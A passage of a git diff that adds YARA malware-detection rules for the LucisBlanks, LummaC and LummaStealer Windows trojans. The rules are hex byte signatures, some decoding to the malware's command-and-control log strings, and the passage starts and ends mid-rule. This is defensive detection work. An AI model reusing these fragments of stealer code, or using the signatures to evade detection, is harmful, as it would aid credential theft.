"Trojan:Win64/LucisBlanks.AA,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {00 7b 22 6e 61 6d 65 22 3a 20 22 25 73 22 2c 20 22 62 75 69 6c 64 5f 64 61 74 65 22 3a 20 22 25 73 20 25 73 22 2c 20 22 61 72 63 68 22 3a 20 22 77 69 6e 64 6f 77 73 22 2c 20 22 69 64 22 3a 20 22 25 73 22 2c 20 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 25 73 22 2c 20 22 70 69 64 22 3a 20 22 25 64 22 20 7d 00 } //1 + $a_01_1 = {00 43 4f 4d 50 55 54 45 52 4e 41 4d 45 00 } //1 䌀䵏啐䕔乒䵁E + $a_01_2 = {00 55 53 45 52 4e 41 4d 45 00 } //1 唀䕓乒䵁E + $a_01_3 = {70 72 6f 78 79 2e 6c 6f 67 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/LucisBlanks/Trojan_Win64_LucisBlanks_AB.yar b/Trojan/Win64/LucisBlanks/Trojan_Win64_LucisBlanks_AB.yar new file mode 100644 index 0000000000..7bc2a515e7 --- /dev/null +++ b/Trojan/Win64/LucisBlanks/Trojan_Win64_LucisBlanks_AB.yar @@ -0,0 +1,15 @@ + +rule Trojan_Win64_LucisBlanks_AB{ + meta: + description = "Trojan:Win64/LucisBlanks.AB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 00 " + + strings : + $a_01_0 = {00 5b 2b 5d 20 5b 54 43 50 43 6c 69 65 6e 74 5d 5b 53 65 6e 64 5d 20 73 65 6e 64 69 6e 67 20 64 61 74 61 3a 20 25 73 2c 20 6c 65 6e 3a 20 25 64 00 } //1 + $a_01_1 = {00 5b 2b 5d 20 52 43 56 20 43 4d 44 20 4b 49 4c 4c 00 } //1 嬀崫删噃䌠䑍䬠䱉L + $a_01_2 = {00 5b 2b 5d 20 52 45 43 56 20 63 66 67 20 73 74 61 72 74 00 } //1 + $a_01_3 = {00 5b 2b 5d 20 53 6f 63 6b 73 34 41 3a 20 69 64 65 6e 74 3a 25 73 3b 20 64 6f 6d 61 69 6e 3a 25 73 3b 20 74 68 72 65 61 64 3d 25 6c 6c 64 00 } //1 + $a_01_4 = {00 5b 2b 5d 20 53 6f 63 6b 73 34 3a 20 63 6f 6e 6e 65 63 74 20 62 79 20 69 70 20 26 20 70 6f 72 74 20 74 68 72 65 61 64 3d 25 6c 6c 64 00 } //1 嬀崫匠捯獫㨴挠湯敮瑣戠⁹灩☠瀠牯⁴桴敲摡┽汬d + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_ALA_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_ALA_MTB.yar new file mode 100644 index 0000000000..446e07f1e2 --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_ALA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_ALA_MTB{ + meta: + description = "Trojan:Win64/LummaC.ALA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {48 03 c8 0f b6 01 43 88 04 08 44 88 11 43 0f b6 0c 08 49 03 ca 0f b6 c1 0f b6 8c 04 00 01 00 00 30 0f 48 ff c7 49 83 eb 01 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_ALCM_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_ALCM_MTB.yar new file mode 100644 index 0000000000..eb00a63bb5 --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_ALCM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_ALCM_MTB{ + meta: + description = "Trojan:Win64/LummaC.ALCM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_03_0 = {0f 94 c0 41 0f 95 c3 83 fe 0a 0f 9c c2 83 fe 09 0f 9f c3 20 d8 44 08 db 44 20 da 08 c2 89 d8 30 d0 84 d2 41 bb ?? ?? ?? ?? 45 0f 45 df 84 db 45 0f 45 dc 84 c0 45 0f 44 df } //1 + condition: + ((#a_03_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_EASW_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_EASW_MTB.yar new file mode 100644 index 0000000000..3a28dc38d7 --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_EASW_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_EASW_MTB{ + meta: + description = "Trojan:Win64/LummaC.EASW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {48 09 eb 48 f7 d0 48 31 c3 48 f7 d3 48 21 c3 48 89 5c 24 58 b8 3a ad fd d5 3d 3a 98 52 e6 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GF_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GF_MTB.yar new file mode 100644 index 0000000000..6ab187f2b9 --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GF_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_LummaC_GF_MTB{ + meta: + description = "Trojan:Win64/LummaC.GF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {88 c1 40 30 f1 20 c1 88 d0 20 c8 30 ca 08 d0 88 c1 80 f1 ff 80 e1 01 8a 55 e2 } //3 + $a_01_1 = {20 c8 41 30 cb 44 08 d8 44 88 c1 80 f1 ff 88 c2 20 ca } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GMT_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GMT_MTB.yar new file mode 100644 index 0000000000..9d772af1d4 --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GMT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_GMT_MTB{ + meta: + description = "Trojan:Win64/LummaC.GMT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {44 30 c1 44 08 c2 80 f2 ?? 08 ca 41 89 d0 41 30 d8 84 d2 b9 ?? ?? ?? ?? ba ?? ?? ?? ?? 0f 45 ca 84 db 0f 44 ca 48 89 44 24 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GTK_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GTK_MTB.yar new file mode 100644 index 0000000000..03007f2c64 --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GTK_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_GTK_MTB{ + meta: + description = "Trojan:Win64/LummaC.GTK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {41 20 d0 41 88 c2 41 80 f2 ?? 41 80 e2 ?? 20 d0 45 08 c1 41 08 c2 45 30 d1 88 c8 44 20 c8 44 30 c9 08 c8 a8 01 41 be ?? ?? ?? ?? 41 bf ?? ?? ?? ?? 45 0f 45 fe 44 89 7d } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GTM_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GTM_MTB.yar new file mode 100644 index 0000000000..9af30e3aad --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GTM_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_LummaC_GTM_MTB{ + meta: + description = "Trojan:Win64/LummaC.GTM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_01_0 = {44 30 c0 41 89 d8 41 20 c0 30 d8 44 08 c0 } //5 + $a_03_1 = {0f 45 c6 84 db ba ?? ?? ?? ?? 0f 45 c2 48 89 7d } //5 + condition: + ((#a_01_0 & 1)*5+(#a_03_1 & 1)*5) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GTX_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GTX_MTB.yar new file mode 100644 index 0000000000..f5a8871fa7 --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GTX_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_GTX_MTB{ + meta: + description = "Trojan:Win64/LummaC.GTX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {41 88 d1 41 80 e1 ?? 44 20 ee 88 5d b4 80 e3 ?? 45 20 ee 41 08 f1 44 08 f3 41 30 d9 8a 5d b4 08 da } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GTY_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GTY_MTB.yar new file mode 100644 index 0000000000..86b5e68d9f --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_GTY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_GTY_MTB{ + meta: + description = "Trojan:Win64/LummaC.GTY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_03_0 = {45 08 e6 45 08 fd 45 30 ee 45 88 df 41 80 f7 ?? 41 88 dc 41 80 f4 ?? 41 88 fd 41 80 f5 ?? 45 88 fa 41 80 e2 ?? 45 20 eb 44 88 a5 } //10 + condition: + ((#a_03_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_MGB_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_MGB_MTB.yar new file mode 100644 index 0000000000..ea690fa7f0 --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_MGB_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_MGB_MTB{ + meta: + description = "Trojan:Win64/LummaC.MGB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {f6 d0 44 89 d9 20 c1 44 30 d8 08 c8 89 c1 f6 d1 80 e1 d8 24 27 08 c8 89 c1 80 f1 27 34 c0 24 c1 89 cf 40 80 e7 3e 40 08 c7 41 89 f8 41 80 f0 3e 89 f0 34 9a 41 89 c3 41 20 f3 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGAL_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGAL_MTB.yar new file mode 100644 index 0000000000..44c0e00666 --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGAL_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_PGAL_MTB{ + meta: + description = "Trojan:Win64/LummaC.PGAL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {29 c6 44 0f af ce 41 83 e1 01 41 83 f9 00 0f 94 c3 80 e3 01 88 5d f6 41 83 fa 0a 0f 9c c3 80 e3 01 88 5d f7 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGLA_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGLA_MTB.yar new file mode 100644 index 0000000000..0157bd4d32 --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGLA_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_PGLA_MTB{ + meta: + description = "Trojan:Win64/LummaC.PGLA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {0f 9c c2 89 d3 30 cb 08 ca 80 f2 01 08 da 41 89 d0 41 30 d8 84 d2 b9 ?? ?? ?? ?? 41 0f 45 cc 84 db 41 0f 44 cc 48 89 84 24 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGLC_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGLC_MTB.yar new file mode 100644 index 0000000000..dce2f3f252 --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGLC_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_PGLC_MTB{ + meta: + description = "Trojan:Win64/LummaC.PGLC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {34 01 24 00 41 80 e4 01 45 08 ee 44 08 e0 41 30 c6 41 80 f6 ff 40 88 f8 34 00 41 88 fc 41 80 f4 01 41 08 c6 41 80 cc 01 41 80 f6 ff 45 20 e6 40 88 f8 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGLD_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGLD_MTB.yar new file mode 100644 index 0000000000..088cf7124c --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGLD_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_PGLD_MTB{ + meta: + description = "Trojan:Win64/LummaC.PGLD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {40 88 f8 34 01 24 00 41 80 e4 ?? 45 08 ee 44 08 e0 41 30 c6 41 80 f6 ff 40 88 f8 34 00 41 88 fc 41 80 f4 ?? 41 08 c6 41 80 cc ?? 41 80 f6 ff 45 20 e6 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGLF_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGLF_MTB.yar new file mode 100644 index 0000000000..00252aac97 --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGLF_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_PGLF_MTB{ + meta: + description = "Trojan:Win64/LummaC.PGLF!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {34 01 24 00 41 80 e4 ?? 45 08 ef 44 08 e0 41 30 c7 41 80 f7 ?? 88 d8 44 30 f8 20 d8 41 88 ff 41 20 c7 40 30 c7 41 08 ff 40 88 f0 34 ff 24 01 44 88 f7 40 80 f7 ?? 41 88 f4 41 20 fc 45 88 f5 } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGT_MTB.yar b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGT_MTB.yar new file mode 100644 index 0000000000..ba47cc888d --- /dev/null +++ b/Trojan/Win64/LummaC/Trojan_Win64_LummaC_PGT_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaC_PGT_MTB{ + meta: + description = "Trojan:Win64/LummaC.PGT!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {41 89 c3 41 80 e3 6e 80 e2 91 44 08 da 08 d8 80 e3 6e 80 e1 91 08 d9 30 d1 f6 d0 08 c8 48 8b 8d 30 02 00 00 41 88 44 0a 01 48 8b 85 ?? ?? ?? ?? 48 8b 85 30 02 00 00 48 8b 85 30 02 00 00 bb 16 ca 0c 55 81 fb 86 2f 0b d3 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BC_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BC_MTB.yar new file mode 100644 index 0000000000..a24d7e89bf --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BC_MTB.yar @@ -0,0 +1,13 @@ + +rule Trojan_Win64_LummaStealer_BC_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.BC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 00 " + + strings : + $a_01_0 = {c1 e9 18 31 c1 69 c1 95 e9 d1 5b 69 4c 24 68 95 e9 d1 5b 31 c1 89 4c 24 5c 8b 44 24 6c 83 c0 01 89 44 24 } //3 + $a_01_1 = {4c 8b 02 8b 4a 08 4c 89 00 89 48 08 c3 } //1 + $a_03_2 = {4a 0f be 84 09 ?? ?? ?? ?? 42 8a 8c 09 ?? ?? ?? ?? 48 2b d0 8b 42 fc d3 e8 41 89 40 20 48 8d 42 04 49 89 50 08 8b 0a 41 89 48 24 8b 4c 24 60 ff c1 } //1 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*1+(#a_03_2 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BG_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BG_MTB.yar new file mode 100644 index 0000000000..113fbe931f --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BG_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_LummaStealer_BG_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.BG!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_03_0 = {8b 54 24 24 89 44 24 60 8a c2 32 44 24 34 0f b6 c0 66 a3 ?? ?? ?? 00 8b 44 24 70 03 c3 a3 ?? ?? ?? 00 3b 44 24 4c 75 } //3 + $a_01_1 = {32 c1 8b 4c 24 40 32 44 24 11 30 04 11 42 8b 44 24 24 40 89 54 24 14 89 44 24 24 81 fa } //2 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BLM_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BLM_MTB.yar new file mode 100644 index 0000000000..d7ba0f7ad3 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BLM_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_BLM_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.BLM!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 c1 0f b6 c1 0f b6 84 04 ?? ?? ?? ?? 48 63 4c 24 68 41 30 04 0c 8b 74 24 68 83 c6 01 b8 a2 61 8f 4b 3d c5 6a b1 f3 0f 8f } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BOE_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BOE_MTB.yar new file mode 100644 index 0000000000..ff4d8759fc --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BOE_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_BOE_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.BOE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_03_0 = {01 c1 0f b6 c1 8a 84 04 ?? ?? ?? ?? 48 63 4c 24 64 48 8b 54 24 30 30 04 0a 8b 7c 24 64 83 c7 01 b8 5b b4 35 56 41 bf 4f aa 0b 2b 41 bd 46 5b d6 f4 8b 6c 24 2c 3d 14 16 d6 0b 0f 8e } //5 + condition: + ((#a_03_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BSA_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BSA_MTB.yar new file mode 100644 index 0000000000..3e9f213b8a --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BSA_MTB.yar @@ -0,0 +1,23 @@ + +rule Trojan_Win64_LummaStealer_BSA_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_01_0 = {75 69 48 8b 48 40 84 01 48 8b 50 48 48 8d 35 b3 04 00 00 48 89 b4 24 } //10 + $a_01_1 = {49 3b 66 10 76 25 55 48 89 e5 48 83 ec 08 4d 8b 66 20 4d 85 e4 75 1b } //1 + condition: + ((#a_01_0 & 1)*10+(#a_01_1 & 1)*1) >=11 + +} +rule Trojan_Win64_LummaStealer_BSA_MTB_2{ + meta: + description = "Trojan:Win64/LummaStealer.BSA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 02 00 00 " + + strings : + $a_03_0 = {48 83 ec 28 e8 9f f6 ?? ?? e8 a6 b9 ff ff 8b c8 48 83 c4 28 } //8 + $a_03_1 = {48 8d 0d 51 42 03 00 e8 08 8d 00 00 85 c0 74 0a [0-16] 00 48 8d 0d 88 41 03 00 e8 a3 8c 00 } //3 + condition: + ((#a_03_0 & 1)*8+(#a_03_1 & 1)*3) >=11 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BU_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BU_MTB.yar new file mode 100644 index 0000000000..8b5cb2ab2e --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BU_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_BU_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.BU!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {48 31 f5 48 f7 d1 4c 09 c3 48 21 cb 48 09 eb 48 f7 d0 48 31 c3 48 f7 d3 48 21 c3 48 89 5c 24 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BV_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BV_MTB.yar new file mode 100644 index 0000000000..f60b975862 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BV_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_LummaStealer_BV_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.BV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {20 c8 08 d9 20 da 08 c2 89 c8 30 d0 } //3 + $a_01_1 = {30 d0 20 d8 40 20 f1 20 d3 08 cb 89 c1 30 d9 b9 } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BW_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BW_MTB.yar new file mode 100644 index 0000000000..89ad810641 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BW_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_LummaStealer_BW_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.BW!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 00 " + + strings : + $a_01_0 = {30 da 08 c3 80 f3 01 08 d3 89 da 20 ca 80 f3 01 40 20 fb 08 d3 89 ca 30 c2 08 c1 80 f1 01 08 d1 } //3 + $a_01_1 = {30 c2 20 ca 44 20 c3 20 c1 08 d9 89 d3 30 cb } //2 + condition: + ((#a_01_0 & 1)*3+(#a_01_1 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BY_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BY_MTB.yar new file mode 100644 index 0000000000..795e806d3c --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_BY_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_BY_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.BY!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 01 00 00 " + + strings : + $a_01_0 = {31 c8 f7 d2 09 c2 69 c2 95 e9 d1 5b 69 4c 24 64 95 e9 d1 5b 41 89 cd 41 31 c5 44 21 e9 41 21 c5 89 c8 44 21 e8 41 31 cd 41 09 c5 8b 44 24 68 83 c0 01 89 44 24 24 } //5 + condition: + ((#a_01_0 & 1)*5) >=5 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_CZ_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_CZ_MTB.yar new file mode 100644 index 0000000000..7ecfe3c823 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_CZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_CZ_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.CZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {65 48 8b 04 25 60 00 00 00 48 8b 40 18 48 8b 40 20 48 89 84 24 08 02 00 00 8b 05 f6 81 03 00 8d 48 ff 0f af c8 f6 c1 01 b8 f9 69 e4 ce b9 76 13 e6 8a } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_DQ_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_DQ_MTB.yar new file mode 100644 index 0000000000..b6c499e933 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_DQ_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_LummaStealer_DQ_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.DQ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 02 00 00 " + + strings : + $a_03_0 = {0f 9f c2 30 d1 89 d3 20 c3 30 c2 08 da 89 cb 30 d3 84 d2 b8 ?? ?? ?? ?? ba ?? ?? ?? ?? 0f 45 c2 84 c9 0f 45 c2 84 db b9 ?? ?? ?? ?? e9 } //10 + $a_03_1 = {0f 9f c1 89 c2 30 ca 20 c1 08 d1 89 cb 30 d3 84 c9 b8 ?? ?? ?? ?? b9 ?? ?? ?? ?? 0f 45 c1 84 d2 0f 44 c1 84 db b9 ?? ?? ?? ?? e9 } //10 + condition: + ((#a_03_0 & 1)*10+(#a_03_1 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_DZ_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_DZ_MTB.yar new file mode 100644 index 0000000000..51a9dd7104 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_DZ_MTB.yar @@ -0,0 +1,11 @@ + +rule Trojan_Win64_LummaStealer_DZ_MTB{ + meta: + description = "Trojan:Win64/LummaStealer.DZ!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_01_0 = {42 0f b6 04 27 4c 89 ef 44 8b 6d 98 0f b6 0c 1e 01 c1 0f b6 c1 48 8b 4d b0 0f b6 04 01 48 63 4d f0 48 8b 55 88 30 04 0a 44 8b 65 f0 41 83 c4 01 b8 } //10 + condition: + ((#a_01_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GAPO_MTB.yar b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GAPO_MTB.yar new file mode 100644 index 0000000000..36734efbb6 --- /dev/null +++ b/Trojan/Win64/LummaStealer/Trojan_Win64_LummaStealer_GAPO_MTB.yar @@ -0,0 +1,12 @@ + +rule Trojan_Win64_LummaStealer_GAPO_MTB{ + meta: + description = 